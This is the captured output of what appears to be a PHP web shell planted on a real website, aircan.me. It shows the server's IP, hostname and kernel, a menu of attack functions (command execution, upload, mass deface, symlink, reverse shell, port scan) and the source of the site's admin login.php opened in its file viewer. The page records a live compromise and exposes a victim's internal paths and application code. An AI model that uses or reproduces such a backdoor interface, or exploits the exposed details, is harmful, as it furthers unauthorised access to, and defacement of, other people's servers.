Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
eventos
/
admin
/
Viewing: login.php
<?php session_start(); require_once __DIR__ . '/includes/db.php'; // Verificar si ya está logueado if (isset($_SESSION['admin_user'])) { header('Location: index.php'); exit; } $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $email = trim($_POST['email'] ?? ''); $password = $_POST['password'] ?? ''; if ($email && $password) { $db = getDB(); $stmt = $db->prepare('SELECT * FROM users WHERE email = ? LIMIT 1'); $stmt->execute([$email]); $user = $stmt->fetch(); if ($user && password_verify($password, $user['password'])) { $_SESSION['admin_user'] = [ 'id' => $user['id'], 'name' => $user['name'], 'email' => $user['email'], 'avatar' => $user['avatar'], 'role' => $user['role'] ]; header('Location: index.php'); exit; } else { $error = 'Credenciales incorrectas'; } } else { $error = 'Completa todos los campos'; } } $db = getDB(); $settings = $db->query("SELECT setting_key, setting_value FROM site_settings WHERE setting_key IN ('favicon', 'site_title')")->fetchAll(PDO::FETCH_KEY_PAIR); $faviconUrl = ($settings['favicon'] ?? '') ? '../' . $settings['favicon'] : '../public/assets/images/favicon.png'; $siteTitle = $settings['site_title'] ?? 'Admin'; ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?= htmlspecialchars($siteTitle) ?> · Iniciar Sesión</title> <link rel="icon" href="<?= htmlspecialchars($faviconUrl) ?>" type="image/png"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet"> <script src="https://unpkg.com/@phosphor-icons/web"></script> <style> *{box-sizing:border-box;margin:0;padding:0} body{ min-height:100vh;display:flex;align-items:center;justify-content:center; font-family:'Inter',sans-serif; background:#f8fafc; background-image: radial-gradient(ellipse at 20% 50%, rgba(139,107,142,.1) 0%, transparent 50%), radial-gradient(ellipse at 80% 20%, rgba(197,168,128,.1) 0%, transparent 50%), radial-gradient(ellipse at 50% 80%, rgba(139,107,142,.05) 0%, transparent 50%); color:#2d2633; overflow:hidden; } .login-container{ width:min(100%, 420px);padding:1.5rem;position:relative;z-index:2; } .login-card{ background:rgba(255,255,255,.8); backdrop-filter:blur(40px); border:1px solid rgba(139,107,142,.1); border-radius:28px; padding:3rem 2.5rem; box-shadow:0 20px 60px rgba(0,0,0,.08), 0 0 100px rgba(139,107,142,.05); position:relative; overflow:hidden; } .login-card::before{ content:'';position:absolute;top:-60%;left:-40%;width:180%;height:180%; background:conic-gradient(from 180deg at 50% 50%, rgba(139,107,142,.04) 0deg, transparent 60deg, rgba(197,168,128,.04) 120deg, transparent 180deg, rgba(139,107,142,.04) 240deg, transparent 300deg); animation:rotateBg 20s linear infinite;pointer-events:none; } @keyframes rotateBg{from{transform:rotate(0deg)}to{transform:rotate(360deg)}} .login-content{position:relative;z-index:1} .login-avatar{ width:80px;height:80px;margin:0 auto 1.5rem;border-radius:50%; background:linear-gradient(135deg, rgba(139,107,142,.2), rgba(197,168,128,.15)); border:2px solid rgba(197,168,128,.2); display:grid;place-items:center;font-size:2rem;color:#c5a880; box-shadow:0 8px 30px rgba(139,107,142,.1); } h1{text-align:center;font-size:1.8rem;font-weight:700;margin-bottom:.3rem; background:linear-gradient(135deg,var(--admin-purple,#8b6b8e),var(--admin-gold,#c5a880)); -webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text; } .subtitle{text-align:center;font-size:.82rem;color:#7c6f85; text-transform:uppercase;letter-spacing:.25em;margin-bottom:2rem;} .field-group{margin-bottom:1.2rem;position:relative} .field-group label{ display:block;font-size:.75rem;font-weight:600;color:#7c6f85; text-transform:uppercase;letter-spacing:.15em;margin-bottom:.5rem; } .field-group input{ width:100%;padding:.9rem 1rem .9rem 2.8rem;border:1px solid rgba(139,107,142,.15); border-radius:14px;background:white;color:#2d2633; font-size:.95rem;outline:none;transition:all .3s ease; } .field-group input:focus{ border-color:rgba(197,168,128,.4); box-shadow:0 0 0 4px rgba(197,168,128,.05), 0 4px 15px rgba(0,0,0,.05); } .field-group .field-icon{ position:absolute;left:1rem;bottom:.85rem;color:#c5a880;font-size:1.1rem; } .toggle-pass{ position:absolute;right:.85rem;bottom:.7rem;background:none;border:none; color:#c5a880;font-size:1rem;cursor:pointer;padding:.2rem; } .error-msg{ background:rgba(220,60,60,.1);border:1px solid rgba(220,60,60,.2); color:#d9534f;padding:.7rem 1rem;border-radius:12px;font-size:.85rem; margin-bottom:1.2rem;text-align:center; } .login-btn{ width:100%;padding:1rem;border:none;border-radius:14px;cursor:pointer; font-family:inherit;font-size:.9rem;font-weight:700;text-transform:uppercase; letter-spacing:.18em;color:white; background:linear-gradient(135deg,#8b6b8e,#a385a6); box-shadow:0 10px 35px rgba(139,107,142,.35); transition:all .3s ease;position:relative;overflow:hidden; } .login-btn:hover{ transform:translateY(-2px); box-shadow:0 14px 45px rgba(139,107,142,.45); } .login-btn::after{ content:'';position:absolute;inset:0; background:linear-gradient(135deg,transparent 40%,rgba(255,255,255,.1) 50%,transparent 60%); transform:translateX(-100%);transition:transform .6s ease; } .login-btn:hover::after{transform:translateX(100%)} .orbs{position:fixed;inset:0;pointer-events:none;z-index:0} .orb{position:absolute;border-radius:50%;filter:blur(80px);opacity:.3} .orb-1{width:300px;height:300px;top:10%;left:15%;background:#8b6b8e;animation:float1 12s ease-in-out infinite alternate} .orb-2{width:250px;height:250px;bottom:10%;right:15%;background:#c5a880;animation:float2 14s ease-in-out infinite alternate} @keyframes float1{0%{transform:translate(0,0)}100%{transform:translate(60px,40px)}} @keyframes float2{0%{transform:translate(0,0)}100%{transform:translate(-40px,-60px)}} .back-link{ display:flex;align-items:center;justify-content:center;gap:.5rem; margin-top:1.5rem;color:#7c6f85;text-decoration:none;font-size:0.82rem; font-weight:600;padding:.8rem;border-radius:12px; border:1px solid transparent;transition:all .3s ease; } .back-link:hover{ background:rgba(139,107,142,.05); border-color:rgba(139,107,142,.15); color:#8b6b8e; } </style> </head> <body> <div class="orbs"> <div class="orb orb-1"></div> <div class="orb orb-2"></div> </div> <div class="login-container"> <div class="login-card"> <div class="login-content"> <div class="login-avatar"><i class="ph-fill ph-shield-check"></i></div> <h1>Panel Admin</h1> <p class="subtitle">Acceso exclusivo</p> <?php if ($error): ?> <div class="error-msg"><i class="ph-fill ph-warning"></i> <?= htmlspecialchars($error) ?></div> <?php endif; ?> <form method="POST" action=""> <div class="field-group"> <label for="email">Correo electrónico</label> <i class="ph-fill ph-envelope field-icon"></i> <input type="email" id="email" name="email" placeholder="" required value=""> </div> <div class="field-group"> <label for="password">Contraseña</label> <i class="ph-fill ph-lock field-icon"></i> <input type="password" id="password" name="password" placeholder="" required> <button type="button" class="toggle-pass" onclick="togglePass()"><i class="ph-bold ph-eye"></i></button> </div> <button type="submit" class="login-btn">Iniciar Sesión</button> </form> <a href="../index.php" class="back-link"> <i class="ph-bold ph-arrow-left"></i> Volver a la Invitación </a> </div> </div> </div> <script> function togglePass(){ const p=document.getElementById('password'); const isP=p.type==='password'; p.type=isP?'text':'password'; document.querySelector('.toggle-pass').innerHTML=isP?'<i class="ph-bold ph-eye-slash"></i>':'<i class="ph-bold ph-eye"></i>'; } </script> </body> </html>
Coded With 💗 by
0x6ick